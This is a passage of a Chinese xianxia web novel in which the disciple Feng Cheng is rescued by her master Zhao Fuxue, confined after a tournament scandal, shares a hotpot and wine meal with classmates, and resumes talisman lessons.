一旁的陈还如梦初醒,当即行弟子礼,道:“赵先生!” 封澄也傻乎乎道:“师尊?怎么是你?” 怎么是他。 封澄心里霎时搅合得如同一滩泥泞的糨糊,不知是什么情绪,五味杂陈揉成一团,又酸又胀。赵负雪看着她,轻轻地抬起手来,她下意识地向后一躲:“我身上脏,师尊别过来了。” 确实是脏,脏得连她自己都看不下眼。死去的黑泥,粘稠肮脏地挂在身上脸上,甚至是头发丝上,身上的血与泥更不用说,赵负雪纯净雪白地往那里一站,封澄都忍不住地想跑。 额上忽然一痛,赵负雪皱着眉,拿帕子给她擦了擦脸:“回来,怎么把自己搞成这幅样子……才肯捏碎留影石。” 封澄的留影石与旁人的不同,旁人的留影石中有当代大能所存护体灵力,遇上外援考核的这几个不入流怪物绰绰有余,连头发丝都不会掉一根。 而封澄的留影石中,却镌刻了他所绘的传送阵法。 封澄若有难,一捏石头,他即刻就到。 传送阵法使用苛刻,等闲修士绘制不得,哪怕赵负雪亲自来画,也还有相当严苛的距离之要求。 若是被天机院那几人知道一个学生的留影石中竟然有这种东西,保不齐要闹出什么花样。 若闹,也只随着他们去。 赵负雪垂眼看去,半大丫头身上的破布条条一片一片,轻笑一声:“拿个破碗便能去要饭了。” 话虽这么说着,他却轻轻地解开了身上外袍,披在了封澄的身上。 “穿着,随我出去。” 被冷香气整个地包裹起来时,封澄是有些傻了的。 雪白的衣服蹭到她身上来,沾上了泥与血,还有一团一团的黑泥。 是一件本该是纯白无垢的衣物。 封澄低头看了看,不知为何,沉默了。 一旁的陈还心中欣喜,早已有些暗暗地雀跃,想要回头与封澄交换一下视线之时,却见她低着头,包着雪白衣物,看起来似乎是有些走神,她一时皱了皱眉,心中隐隐有几分不解。 赵负雪道:“怎么还不跟上。” 封澄闷闷地嗯了一声,拖着比她长上许多的雪白长袍,一路小跑着跟着赵负雪去了。 区区一个外院大比,把负雪先生惊动了这件事,令洛京上下一片哗然。 其中流言蜚语,其中诡异猜测,其中弯弯绕绕,口口相传,几乎闹得沸反盈天。 而出于风暴中心的封澄,却百无聊赖地跪在鸣霄室。 她的大比当然是没有继续,赵负雪将陈还带给那两人后,便直接带她回了洛京。 今日,按说是大比揭晓结果的日子了。 第103章 第103章捏碎留影石的人大都在…… 门扉吱呀一声,紧接着便裹进来些外头的新鲜寒气,把鸣霄室中沉沉的冷香气一荡而空。封澄早已趴睡在了蒲团上,闻声,耳朵动了动,又重新爱答不理地闭上了眼睛。 来者淡淡道:“起来用饭。” 封澄权作没听到,把头埋得更深了,身后也一片沉默无声,她正奇怪之际,后颈忽然一凉。 “!!!” 仿佛是一兜雪从衣领灌进了棉衣里,封澄一个鲤鱼打挺就跳了起来,前几日打神像的旧伤登时痛得她呲牙咧嘴,封澄怒目圆睁道:“师尊!” 赵负雪淡淡地收回了见素。 他不知是去了哪里,带着剑,佩着剑穗,虽仍是一身白衣,材质与款式上却与他平日所穿大不一样,复杂繁琐,厚重华丽,身上大氅带着外面的雪珠,连带着他垂下的睫都氤着一层冷淡的湿气,愈发显得人面如白玉,美色不太像话。 与此同时,穿着一身半旧软袍,懒洋洋地蜷缩在地龙上打盹、连头发都睡得乱七八糟的封澄,便显得松散到嚣张了。 赵负雪将封澄冰起来后,若无其事地走进内室,片刻,更衣出来。许是觉得封澄跟着他左右转的目光过于幽怨,赵负雪总算开口了:“今日,你的同窗递了拜帖来。用过饭便去梳洗。” 听到外面的消息,封澄总算精神了,她此时也不顾赵负雪那剑柄冰她这回事了,一骨碌起来,连鞋袜也顾不得穿,便向自己的屋子去:“太好了,这几天可把我憋疯了!她们还好吧?” 人还未出鸣霄室的内门,封澄的后颈便被一只手拎住,赵负雪道:“在此梳洗即可,衣裙已取来。” 封澄见几个使者捧了木盘来,小心翼翼地放在廊下,便又行礼告腿,她有些迷惑,最终还是只哦了一声,问道:“那我要去哪里换?” 赵负雪垂眸看她,片刻,平淡道:“去内室。” 内室…… 封澄吞了吞口水,抬眼看向赵负雪。 鸣霄室虽有茶室书房等居所数间,可能称得上内室的,只有一个。 赵负雪的寝室。 她低头看了看木盘,又抬头看了看赵负雪,赵负雪神色淡淡,似乎完全没觉得去他内室换衣物是什么十分不合礼法的事,其坦坦荡荡,简直令封澄怀疑起了自己是不是太过居心不良以至于做贼心虚了些,她欲言又止地盯着赵负雪,半晌,挠了挠头,还是走过去端起了木盘。 想来修仙之人性情淡泊,皮囊白骨不过枯草朽木,封澄这般想着,便轻松自在地去赵负雪寝室里换衣服了。 在封澄推门走进的刹那,赵负雪唇角勾起个若有若无的弧度。 这套衣服是新裁的,颜色是柔嫩的鹅黄色,封澄从前极少穿这等鲜亮颜色,于是对着铜镜新奇地转了几圈,正将旧发带拆下换新发簪时,外面忽然传来几声轻响,两只莹润小雀上去开门后,便听外头的声音模糊不清地透进来道:“见过赵先生。” 人来了,封澄当即眼睛一亮,随手将簪子往头上一攮便小跑着出去,一开门,正见两人到鸣霄室廊下抖雪,她登时眼睛一亮;“陈还,寸师兄?” 寸金弯眸一笑;“你好啊,师妹。” 陈还不情不愿地嗯了一声,权作回应。 来者正是陈还与寸金,她这几日憋得出奇,来了几人,忙不迭地就要说话,谁知寸金后又不声不响地绕出了一个身影,封澄定睛一看,话头险些僵在喉咙里——姜徵。 姜徵将雪帽除下,挂在廊边,封澄这才发觉,姜徵也穿得颇为正式,连正妆都画在了脸上,说不出的尊严贵重,她看了她一眼,便腰背笔直地走进了鸣霄室中。 陈还戳了她一下,随后也进去了。 见二人背影,寸金笑笑,道:“今日来看你,还是借了姜师妹的光,若不是她递了姜家拜帖,我们也是进不来的。” 顿了顿,他又道:“身子好些了吧?” 封澄忙不迭地点头,道:“好些了,你瞧,骨头都长全了。”说着,封澄撸起袖子来展示刚刚长好的小臂。 闻言,寸金似是一怔,他看着封澄满不在乎的笑脸,半晌,轻轻拍了拍她的肩,也进去了。 赵负雪接的拜帖是姜家拜帖,故书房中只有姜徵前去叙事,三个闲人一并坐在屋中地龙上,团着最暖和的一处。 寸金新奇道:“封师妹,你还会解九连环?” 她坐在蒲团前罚跪抄书,虽说是罚,实则赵负雪也不管她,由着封澄把棋盘搬来,还带了些乡野玩意,封澄看了一眼,打不起精神:“并不会,这东西活像结了死扣,生拆都拆不开。” 寸金把九连环抬起来端详了片刻,便默不作声地开始动手。陈还坐在棋盘边,摸着下巴琢磨着黑子白子,道:“瞧不出来,你这日子过得还不错。” 封澄道:“从哪里看出来的不错?我刚回天机院便被我师尊关进鸣霄室了,连活人都不让见一个,断着腿呢,就罚跪……啧,不知道还以为我捅了天大的篓子。” 谁料陈还斜睨她一眼:“谁说不是的?” 封澄道:“此话怎讲? 她道:“没想到你现在还一无所知……眼下洛京都乱了套了,都嚷着让天机院把你逐出师门。” 这话一出,封澄倒是有些意外,她定了定神,沉声道:“逐出师门?我犯了什么错。” 陈还道:“外院大比死人了,你记得那个神像撕了一个活人不?” 封澄微微一愣。 陈还瞧着也比之前憔悴了一点儿,封澄这才发觉她眼下一圈青黑,唇角还有水泡,显然是焦急上火。 “大比录像不知是谁放出去了,待天机院出手控制时,事情已经操控不住,现在大伙儿说你恣意妄为,擅自行动,引出人形天魔闯下祸事,还坑害了这条无辜人命,要天机院拿个说法出来。” 封澄当即大怒。她心想:“人形天魔是我引出来的?我还想问问是谁把天魔胚子藏到那村子里的呢!况且那黑咒眼瞧着就要弄死了人,不立即行动,难道要等中水天机所千里迢迢地赶来收尸吗?” 面上却仍是八风不动,封澄道;“然后呢。” 九连环叮铃作响,寸金垂着眼睛,道:“所幸回京当日,赵先生便对外宣称将你幽闭处罚,听说当日天机院众师长还十分疑惑,直问你有何过错,现在一想,赵先生果然是先见之明。” 封澄沉默了,她心不在焉地抬手绕着棋台下的穗子,一时感觉有些微妙。 陈还深深地看了她一眼,一句话也没有出口。 她心思比同龄人重许多,看事情也不像眼前少年们似的全凭直觉,封澄还不知在想什么,陈还在心底早已掂过个儿来。 赵负雪此举,明面上看着是把人罚了,实则不然。 他在留影被公之于众之前,便提前把封澄关在了鸣霄室处罚,这一举措保了封澄不必在外吃苦,可事情却硬生生地敞亮开了,若有世人开口质疑抱臂,天机院便可说,早在事情发生之时,封澄便被关押处罚,何来包庇一说? 细细一想,哪里是什么先见之明,分明是明知留影必然流出,进而提前一步动手的举措罢了。 可他知道留影会被放出,为什么不拦。 陈还看向封澄的眼神微微暗了些。 她初来洛京才多久,必不可能与洛京之人结仇,对封澄下手的人,绝对是冲着赵负雪去的。 现在一看,倒像是他这个师尊以她为饵,钓出不把赵家放在眼里的人。 如此便可解释,为何赵负雪明知大比之后留影会泄露,却不拦着了。 越想,陈还的表情越古怪,她不由自主地想到了赵负雪破影而出时,封澄那副眼睛都直了的傻样。 “……这人不配当你师尊。”陈还恨铁不成钢地想。 她清了清嗓子,忽然戳了封澄一下,若无其事道:“喂,你打算怎么办,在屋子里关到地老天荒吗?” 封澄不知何时捧上了热茶,愣愣地喝了一口,半晌,道:“我是不是给我师尊添麻烦了。” 陈还:“……” 陈还气得要仰倒过去,当即忍不住爬起来,恨恨地捏了她耳朵一把;“这种时候了还想这些!” 寸金微笑道:“封姑娘,你不必替赵先生忧心,他从来不受制于人。” 封澄这才嗯了一声,道:“没给他添麻烦就好……我什么都不怕,大不了背着包裹回长煌嘛。” 这么说着,她仿佛从“背着包裹回长煌”这件事里汲取到了莫大的勇气,封澄也不垂头丧气了,起来道:“车到山前必有路,天魔都杀不了我,动动嘴皮子更杀不了我了。不说这些,大比的成绩出了吧,二位所得如何?” 寸金与陈还对视一眼,却没想封澄预想中的那么轻松,他转过头来,轻轻叹了口气。 “你当姜家的帖子是为何来的。” “大比成绩出了。” 寸金斟酌着,似乎在挑出个和缓些的语气来公布结果。 “按理说捏碎留影石的人大都在末名,但……” “这次大比的首位,是你。” 封澄一口把热茶喷了出去。 寸金微笑:“拖住人形天魔,解了咒,保了神水村一行人的性命,当之无愧的头名。” 陈还斜睨她一眼,不冷不热道:“当然,之前是你的,这件事闹腾完了还是不是你的,就不好说了。” “不过现在,还是恭喜你了,大比魁首。” 第104章 第104章一顿酒 大比魁首,似乎是个了不得的好消息,封澄心中仍重,人却眯眼笑道:“当真好消息,等我出去请几位吃饭,一起庆祝庆祝。” 寸金笑了笑:“行,等我带坛好酒去。” 捏碎留影石的也有寸金,但作为结果,他的大比成绩排在极为靠后的位置。咔吧一声轻响,寸金低头将手头的九连环解开,随手取了一枚套在手指上玩:“这东西有趣,我能带一枚走吗?” 封澄道:“随你,反正我也解不开。” 寸金笑了笑,从九连环中挑了枚最小的,小心扣在腰间,与他腰间银饰碰撞,叮铃作响。三人又说了些有的没的,无非是神水村后续的安置等俗务,说着说着,封澄皱眉道:“后续是姜家人去收尾的?天机所的人呢?祝先生呢?” 陈还冷哼一声:“祝京?那可是姜徵的亲师尊,他就差和姓姜的一个鼻子出气了,你指望着他把事情接下来吗?” 寸金道:“我与姜师妹安置村民时,四周魔气实在过重,数位村民已有不适之症,情急之中,她只便引火作信,唤了附近的姜家族人前来接应,至于祝师尊带着天机所之众赶来,已经是姜氏族人清理村庙之后的事了。” 作为姜氏少主,姜徵求助姜氏也是无可 厚非,封澄只惊异于世家的渗透竟然连中水的一个小村子都能涉及到,反应如此迅速。寸金闻言,只是笑了:“大夏最大的世家也做不到,哪怕是天机所也做不到的。如此反应迅速,只因为姜师妹乃姜氏少主,她出门历练,按理会有高手暗地跟着护佑。” 封澄倒是有些感慨:“不愧是世家。” 陈还嗤笑一声:“数他们命贵,历练历练,有人护着还叫历练?过家家。” 顿了顿,寸金又促狭地弯眸一笑:“也不是所有世家都是这样,封姑娘的师尊,当年便是背着一把剑孤身上了江湖,去时单枪匹马,归时名满天下,前后历时将近二十年。也就是近些年,赵先生才回天机院的。” 这话听着倒是新鲜,封澄不由自主地想到了少年赵负雪孤傲地带着一把剑的模样,一时有些艳羡:“若是我早生些年就好了。” 寸金也笑了:“谁不是呢,可惜我们做后辈的,也只能见见赵先生此时的风采了。” 一旁的陈还却没有寻常少年对剑尊的仰慕,她只是盯着封澄,目光有些复杂。 封澄道:“可惜了。” “可惜什么?” 封澄一下一下地抛着手中棋子,道;“神水村的人形天魔八成是被人放进去的,我还想往下查查。” 陈还嗤笑:“想也别想,世家都是属貔貅的,只吃不吐,案子进他们手里,别想拿出来查,更何况这是姜家。” 封澄若有所思地摸了摸下巴。 正说话间,外面的门却是一动,封澄一抬头便间赵负雪的脸,她当即精神一振,也不像方才没骨头似的倚着了,随手一抛便把棋子丢回棋篓中:“师尊,你们说完事情了。” 赵负雪微微一点头。 屋内暖和,他却还是寻常那副穿得严实的模样,只是将将束了长发,看着有些犯困。 寸金与陈还忙上来行礼:“见过赵先生。” 赵负雪对着几人道:“我已命人单独摆了午膳,亭内烧着火炉,去那里用饭。” 鸣霄室少有迎客的时候,封澄没想到赵负雪还能井井有条地安排上小辈的午饭,莫说封澄,一旁的寸金都有些意外, 不知何时,窗外已飘飘然下起了鹅毛大雪,雪天难行,膳堂的饭又冷又素,瞧着封澄这副眼睛发亮的样子,鸣霄室的小灶定然是好吃的。 想到这里,二人当机立断:“多谢赵先生。” 封澄这才想起赵负雪刚才的确是来叫她吃午饭的,她摸了摸肚子,正觉得也有些饿。便道:“师尊饿不饿?也一起去吧?” 话音未落,身后那两人便微不可察地抖了抖。 一顿饭里,若是有了这等威严长辈,那才令人吃也不是,说也不是,岂是一句如坐针毡能了得的。 二人屏息凝神,赵负雪笑了笑,轻轻摇了摇头,道:“屋中有酒,温过再用。” 看着赵负雪离去的背影,封澄微微有些沮丧,谁料颈后忽然一道气音咬牙切齿地贴过来;“吓死了我,我还以为这顿要跪着吃了。” 封澄:“……” 一说用饭,封澄倒是想起来一个人,封澄转头道;“姜姑娘呢?她也一起来。” 陈还微微一笑;“姜姑娘是喝露水的仙人,等闲之物不入嘴,出门得带仨试毒的,你今日敢留她在鸣霄室吃饭,明日皇后娘娘便来找你的事,信不信?” 正说话间,门口便有一青色身影走过,陈还斜睨那人影一眼,嗤了一声。 姜徵面色不改,由着陈还冷嘲热讽,她只淡淡地瞥了封澄一眼,道:“此次前来,只是公干,先行告辞。” 寸金爱莫能助地看了她一眼,姜徵转身,便要离去,谁料方一回头,手上便忽然传来一道温热,她愕然抬起眼,低头正看向封澄笑眯眯的眼睛。 “留下吧?”封澄道,“也叫我多谢谢你,尝尝我酿的酒怎么样?” 鸣霄室里的确是有酒的,有些是赵负雪的收藏,有些是她初来乍到时酿的果酒,算算时候,大抵能喝了, 修行之人欲望淡泊,口腹之欲只是一时放纵的东西,姜徵也从不喝酒,于是抬手便要拒绝,谁知方要抬手,封澄未卜先知地把她的手按了下去:“陈还只是嘴坏了些,可有吃的在眼前,保管腾不出嘴来的。” 她越靠越近,越逼越近,姜徵甚至觉得她两只期待的眼睛已经贴到了眼前,她终于狼狈地退出几步去:“……我同家中说一声。” 谁料封澄却把人向亭子里推去:“天气这么冷,雪又深了,一来一回多麻烦,你只管去吃,我叫个鸟去知会一声。” 不由自主地,姜徵方方带上的雪帽披风便被摘了下来,封澄道:“等我取了酒来,先去亭中小坐吧。” 说着,她便一路小跑着去屋中取酒,一时之间,屋中只剩了姜徵与寸金二人。 沉默在二人之中蔓延,空中的雪越发大了。 终于,姜徵开口了:“何时回内院。” 寸金道:“待大比结束,我随今年的内院修士一同回去。” 沉默许久,寸金道:“你对封师妹并不抗拒……这挺令我意外。” 毕竟想看这两人笑话的不在少数,一个是乡野出身却运气了得的野丫头,另一个是头次吃瘪的天之骄子——说是想看这两人笑话,实际上更多想看姜徵的笑话罢了。 姜徵抬眼看着大雪纷飞的背影,雪色与日光在她玉白的面上交织出某种摄人心魄的光彩,她看着廊上飞雪浅浅的足印——这足印直通向一旁的小屋,淡淡道:“我与她并无过节。” 一旁的陈还却忽然笑了;“我从前觉得,姜姑娘与赵先生,本该是师徒。” 姜徵并不回答,寸金的眼睛有琥珀色的亮纹轻轻波动,陈还接着道:“你们二人太过相像,一样的天之骄子,一样的世家楷模,一样的目中无人,无心无情……” 说到最后一句时,姜徵终于回过头来,面无表情地看着陈还。 陈还微微一笑,补充上最后一句:“……也一样会看向一个人。” 封澄的存在,犹如在森严冰冷的天机院中骤然刮来一道辽阔原野的风似的,这人不像修士,热烈得像个奇怪的凡人,喜怒哀乐皆在脸上,好懂得很。 姜徵冷笑一声:“这小丫头并不叫人讨厌,反倒是师妹你,令人有些不爽。” 陈还耸肩膀,勾唇看向她:“我有个问题,几天前就想问问姜少主了。” 不是叫名字,而是叫少主,姜徵敛眸,道:“你说。” “那日神水村,”她微微勾了勾唇,“能以最小代价拖住神像的,是少主。” 人形天魔已是考核外的东西了,姜徵不比封澄初入仙途,早已是一个老练且灵力颇丰的修士,她若动手,一旁的姜家暗卫也不会白白看着,换句话说,有这一群人护着,别说拖住这才出世的人形天魔了,直接把这天魔扬了都不是不行。 姜徵一言不发。 寸金与她隔着一道泾渭分明的界限,一同抬眼看着纷纷扬扬的雪花,陈还微笑道;“可在她在捏碎留影石之前,没有人知晓刻在上面的是尊者的传送法阵,若真是寻常留影石,今天你我还能喝上这坛酒吗?” 姜徵的眼底骤然酝酿上了数不清的阴沉,她道:“……天机院私事,姜氏不能随意插手。” 话至如此,她却勾唇笑笑:“这倒也是,可姜家除魔之事与天机院划得清楚,收归人形天魔尸体、接管村庙倒是行事迅速,这种时候,倒也不觉得姜氏不能随意插手了。” “……” “不是所有人都能做英雄的,”姜徵冷道,“事情急迫无比,我若贸然回身,至神水村无辜之众于何地?难道把你们两个再叫回来照顾村民?” 陈还勾唇一笑。 “少主只管扫净自己门前雪罢,是何心思,姜姑娘自然知晓,我先走一步,赵先生的饭,可不是日日都能吃到的。” 姜徵看着她站起身来,走出了鸣霄室。 寸金沉默许久,久得几乎 没人意识到这里还有个他,良久,他才慢慢道:“我也欠她一条命,却先赚了她一顿酒。” 第105章 第105章醉得出奇 赵负雪令人备下的午膳十分新奇,封澄进去一看,只见亭子之中放着圆案,案中架着一只炭炉,上头咕嘟咕嘟煮着红白汤料,四周摆着各色生肉,配着几种冬日少见的新鲜素菜。她当即大喜过望,心想:“如此雪景,就该吃些暖和的东西,师尊从哪里找来的锅子?” 三人已围桌坐好,不知为何,封澄似乎觉得这三人气氛怪怪的,她仔细品了品,忽然间觉得,这怪异竟是在姜徵与陈还之间,她斟酌片刻,只把酒坛子端上来道:“我怕酒水不够,便一道顺了我师尊的酒来,各位自便。” 寸金微微笑着道:“那我便不客气了,尊者的窖藏,无论如何也是要尝一尝的。” 咕咚咕咚的锅子下去,热气渐渐熏陶上来,封澄留意,只见寸金与陈还只吃红锅,姜徵只吃白锅涮些素菜,连酒都不沾一口,当即心中有些戚戚然,心道:“可了不得,这姑娘年纪轻轻,怎么和我师尊一个口味?” 想了想,封澄道:“姜姑娘尝尝我的酒吧,口味柔和,不比寻常酒水辣喉。” 姜徵了无生趣地守着白锅涮绿菜,一介绿毛浮白水的惨然,酒水盈润,如同紫玉,她垂眸看看酒,又看看封澄,半晌,还是抬手把酒喝了下去。 片刻,姜徵眼睛亮了些:“……还有吗。” 封澄忙给她满上。 果子取的是秋日的尾茬果,最是甘甜,连带着酿出的酒也是甜的,陈还颇为不屑道:“这酒连三岁孩子都放不到,你也敢往我眼前摆。” 一刻钟后,陈还趴桌。 封澄醉眼迷蒙地看着在座二人,寸金西北出身,自然是千杯不醉的酒量,而看着不会喝酒的姜徵,竟然也只是茫然地举着酒杯,疑惑无比道:“怎么只喝这些酒,还会倒了?” 寸金笑笑,把酒杯一放,将陈还扛到一旁的软榻中躺好:“她饮得急了,腹中又空,自然易醉。” 姜徵哦了一声,默默地嘬了一口果酒,片刻,目光瞄向了红锅。 用灵力自可化去酒力,这是姜徵自小便会的东西。 清汤锅底已在咕嘟咕嘟往外冒的红油中被迸上了红色,星星点点。姜徵品了品,取竹箸来,果断地向红锅中涮去,封澄看着她果决地将裹满红油的羊肉吃下,隐隐有些目瞪口呆。 片刻,姜徵抬起头来,脸色通红,双眼却泛着亮:“……好吃。” 这一涮,仿佛给姜徵涮开了新世界的大门,吃到最后,众人也不矜持了,只把桌上的东西一扫而净。封澄吃得撑,微醺道:“奇怪,师尊今日备的什么肉,从前也没吃过。” 这肉的确奇怪,热得奇怪,越吃,体内似乎就越有一股隐隐作蹿的灵流。 寸金道:“像是哪种灵兽,待我回去查一查。” 吃到最后,封澄吃得很热,终于不胜酒力,昏昏欲睡地倒在了桌上。姜徵看着她,有些犹豫:“陈还好说,带回弟子苑便是,封澄怎么办?她平素住哪一间。” 寸金摇摇头,忽然间,门口竹帘一动,紧接着便进来一个白衣身影,寸金忙道:“赵先生!” 赵负雪轻轻颔首,示意不必行礼,他慢慢走来,偏过头看了看封澄睡得一塌糊涂的模样,食指蜷起,拿指关节轻轻戳了戳她。 少女的脸上还有未褪去的软肉,手感极好,寸金在一旁有些意外——似乎不敢信这是赵负雪能做出来的事。 他将人往怀中一带,随后轻轻抄起来,打横抱着便道:“早些回去安歇。” 说罢,他便从容向外走去,寸金沉默片刻,回头道:“赵尊者竟是这样的师尊吗?” 他以为像赵负雪这样的剑尊,应当是十分苛刻的严师,可方才种种,无论是细心备下锅炉,还是把醉酒的封澄带走,都显得过分……柔和了些。 寸金把贤惠二字往腹中一吞。 姜徵深深地看着二人的背影,片刻,道:“哈。” 寸金回头一卡,只见姜徵不知何时抱上了另外一只酒坛子,眼下已两颊通红,显然是喝了不少了。 那里头是赵负雪窖藏的酒,连他也觉得劲实在是大,绝非灵力可化。 他心道一声要遭。 旁人喝醉,或是困得一头睡倒,或是稀稀拉拉说醉话,而千杯不醉的姜徵,则是世所罕见的醉拳专家。 她站起来,左手一把拎起醉倒的陈还,右手抓着寸金的颈,冷冷道:“出去打架。” 寸金:“……” 不错,还知道不能打坏了鸣霄室,得出去打。 *** 封澄蜷缩在熟悉的冷香气中,缓慢地掀起了眼皮,在弄清自己目前处境后,又重新安心无比地蜷了回去:“……师尊。” 他的胸口传来闷闷的声音:“嗯。” “你饿不饿。” 赵负雪微微一笑,随后道:“你喝醉了。” 修行之人吞吐天地灵气,哪里还有一日三餐的讲究。 醉醺醺的小炭炉,连身上都是滚热的,赵负雪颇有些头痛,下面封澄又开始碎碎叨叨:“不吃饭是不行的,人连这点儿追求都没了,那该多没意思……” 赵负雪步履不停,厚实的积雪被他的靴子踩的咯吱咯吱,他低头嗅了嗅封澄面上酒气,好看的眉微微一蹙:“今日喝的是哪一瓮酒,怎么就醉成了这副样子。” 封澄道:“红坛子,白封泥那坛,我瞧着都存了许多年了,再不喝,该被窖里耗子喝光啦。” 闻言,赵负雪忽然镇住了。 封澄浑然不觉地接着叨叨:“好苦的酒,他们都说没有苦味,可我总觉得那酒苦得出奇,我都要被苦下眼泪了。” 他顿了顿,随后,脚步又释然地向封澄寝室去了:“这一坛不好,改日喝些别的。” 封澄又把脸往他胸口一埋,随后任由他抱着,睡得黑沉无比。 这坛酒是当年封澄离去时埋下的。 初去这世间万里寻她踪迹时,日子总是格外的苦,行不到几步远,心头空旷便钝痛磨人,直令人作呕。 他将游历之物带回赵家,埋于坛中酿酒,这坛有极北之地的松枝,有长煌大原的草籽和雪,还有古安新收的稻米。 日子久了,也就成了苦酒。 如若封澄不提这坛子东西,赵负雪几乎要把它尽忘了去。 “本来也是只该你喝的东西,”赵负雪将人轻轻抱着,推开了寝室的门,“物归原主。” 封澄浑然不觉,她醉得出奇,赵负雪弯下腰将她安置在榻上,将要起身离去之际,一只手臂却轻轻地攥住了他的袖口。 “师尊……”封澄喃喃道。 赵负雪轻轻捏起她的手指,试图把人松开,谁料忽然间,封澄便抛弃了冷冰冰的衣袖,转而抓住了他的手指。 指上素色指环,在她手心隐隐发烫。 赵负雪垂眸看着她,他的睫毛极长,乌幽幽地盖在眼上。 她用一只手攥着他的手指,温热的掌心仿佛竭尽全力一般抓着他的手指,仿佛某种滚烫却执拗的幼兽一样,咬死了便不肯撒手。 赵负雪重又矮下身子来,定定地看着封澄的脸。 毫无防备,全然信赖,仿佛在他这里有数不尽的安心一样。 “如若她知晓我是什么人,” 赵负雪忽然想,“还会像方才一样,睡在我的胸口吗?” 他的手指轻轻地回勾了封澄的手心。 她太过年轻了,年轻又稚嫩,一颗心蓬蓬勃勃,数不尽的希望与活泛。 似乎是觉得有些冷了,封澄向赵负雪的方向钻了钻,鼻尖接触到熟悉的冷香气时,重又安心地睡了下去。 赵负雪的胸口忽然就有些酸胀。 “岂有此理,”他空出的那只手轻轻地抚摸封澄的发顶,眉宇间有几分莫名的自嘲,“怎么还真成孩子了。” 他身上的生死咒与反咒,又算什么。 他轻轻地将手指从封澄的手心中抽走,几下除去封澄沾了酒气与锅子气的外衣,抬手将一旁被子盖在了她的身上,随后又熟悉而老练地掖好被脚,最好站在榻前端详片刻,把封澄的两只手臂从被子里捞了出来。 这些做完,赵负雪忽然也觉得有些好笑,他摇摇头,轻手轻脚地关上了封澄的屋门。 如若温不戒在此,必定要取笑他几句——这哪里是给人做师尊的样子,这分明是给人做老婆来了。 做完这一切,赵负雪重新回到了书房,坐在书案旁时,目光淡淡地落在一旁的淡黄信纸上。 上面淡淡的鎏金花纹,记刻着今年的内院名录。 名册第一个名字,赫然是“陈还”。 “古安陈家的人。”他的目光淡淡的,“陈风起的养女。” 前尘往事仿佛因封澄的归来,而缓缓地转动起了迟缓的轮子。 被压了多年的古安陈家,眼下以渐渐式微,世间已经不剩下多少人还记得这西琼第一世家的风采了。 沉吟半晌,他提笔修书一封,送了出去。 半刻钟后,天机院议事堂中飞进一只通体莹亮的小鸟,忽然间打断了堂中激烈的争吵,堂中众人齐齐回转过头去,为首的女子已有了几分风霜之态,人却威严更甚从前。 “年院长……这?” 赵年微微眯了眯眼睛,抬手接过了手中的碧色小鸟,那鸟在她手上忽然化开,紧接着,便有一道符信缓缓展在她的面前,赵年读完,愕然地抬起了眼睛。 冯回道:“年院长,尊者所言为何?” 赵年闭了闭眼睛,半晌,转过了身。 “方才商讨封澄是否能入内院一事,”赵年道,“几位不必争论不休了。” 寂静片刻,堂中众人猝然睁大了眼睛。 “尊者,内院执教。” 第106章 第106章想什么乱七八糟的(作…… 待封澄能出门时,已经在七日后了。 放出留影石的人是谁,以及此后一切消息,封澄没问,也不打算问。她心底只有一执拗想法,若是赵负雪开口说了,她便听,若是赵负雪不开口,那这话压根就没必要开口问。 “……” 日子一天一天过去,赵负雪坐于书案前。窗外大雪纷纷扬扬,已压倒了窗前的红梅,提笔落纸时,他心中忽有一觉,福至心灵地抬头看去。 透过红梅雪影,一人百无聊赖地坐在院墙上,高高竖起的长发摇摇晃晃,头上与肩上堆着一小摞的雪,瞧着像个毛茸茸的雪人。 她在院墙上呆了多久了? 许是觉得无聊,封澄这几日越发不爱在屋子里呆,从前赵负雪还能在书房的窗前见到封澄时不时探出来的头,现在连师尊的书房都对她没有半分吸引之力了。 赵负雪想了想,放下笔,心中略有了些打算。 天机院众人皆知,封澄这禁闭关得扯淡极了,该受的关押讯问一点儿没遭,按理该封灵脉、除灵器,结果也不知封在了哪里,连带着把人身上的伤都养好了。 下面一人喊道:“封澄,老头叫我给你带的课业!” 堆着雪的小小人影登时精神一振,笑音登时随着乱颤的落雪一道冲进了赵负雪的书房。 “接着啦,替我回去和老头问个好,我很快就回去!” 接了课业,封澄兴冲冲地钻进了赵负雪的书房——用钻还是文雅了些,这丫头仗着近来长高了不少,按着窗沿便翻了进去,一踏进暖烘烘的书房,她当即抖了赵负雪一地落雪,冲他笑道:“师尊,教我画符吧?” 他生性好洁,见封澄滚进来的残雪,也只垂眸看看,道;“手给我。” 封澄手骨断得太多,人又总是乱动,一个不看着,几块骨头竟长得歪了, 封澄:“……” 她嘴角往下一耷拉:“昨日不是梳理过了吗?今天还要啊……” 说话声音渐次弱下去,手却不情不愿地递到了赵负雪的面前。 赵负雪的手总是一年四季冰凉冰凉的,整只手,只有掌心的一处带着些许暖意,封澄被他攥着,心中作乱心起,悄悄地上去挠了两把,赵负雪淡淡道:“不要乱动。” 封澄不动了,委屈控诉;“师尊,你的指环冰到我了。” 时人佩指环的剑修少之又少,一是不便握剑,二是斗殴易碎,而这在赵负雪身上则大不一样了,能让他拔剑的人少之又少,第一条先便不存在了,第二条则更是奇怪,他戴的并非此时风行的玉石指环,而是某种金属,质地像天牢里最穷凶极恶的修士所佩的锁链。 怪,实在是怪,赵负雪平时都不戴什么首饰,连簪子都是素色的木簪,怎么偏偏戴了异物感鲜明的指环。 赵负雪眼皮都不抬一下,握着封澄的手指,生着剑茧的修长手指顺着她的骨骼一枚一枚地仔细检查下去。 “忍着。” 咔地一声,封澄尾指登时传来清晰的脆响,她登时疼得眼泪都飙出来了:“疼疼疼疼疼!!” 一语双关,不知是忍着疼了还是忍着冰了,反正赵负雪从容地放下手:“可以了,过来修符。” 她默不作声地坐到了赵负雪的书案旁,随后收拾出正形,目光中认真,简直像瞬间换了一个人。 在做徒弟这方面,封澄是个一骑绝尘的好徒弟。 聪明,认真,刻苦。 一月之前,她还是对符道一窍不通的门外汉。 赵负雪垂眸看着她,眼中隐隐有几分波动,封澄似有所觉,眼睛便抬起来,笑意盈盈地抬头看他:“哪里不对吗,师尊?” 赵负雪轻轻摇了摇头,半晌,勾唇一笑:“继续,很对。” 小姑娘头上有着没抖下去的雪花,赵负雪盯着她的发顶看了半晌,手指轻轻地敲了敲膝上。 他很想把这片残雪拂去。 *** 外院大比揭榜的当日,天机院人声鼎沸。 每年的外院大比,天机院皆会迎来一场大的变动,得幸者青云直上,一入内院便仙途大好,大比靠前者升班升级,或早些结业,或得先生青眼,而排名为末者,则就各有苦吃了。 封澄走到大榜前时,榜前已人山人海,再也挤进不能,忽然身后便传来一道声音:“榜在院长那里还有一张,要不要带你去看?” 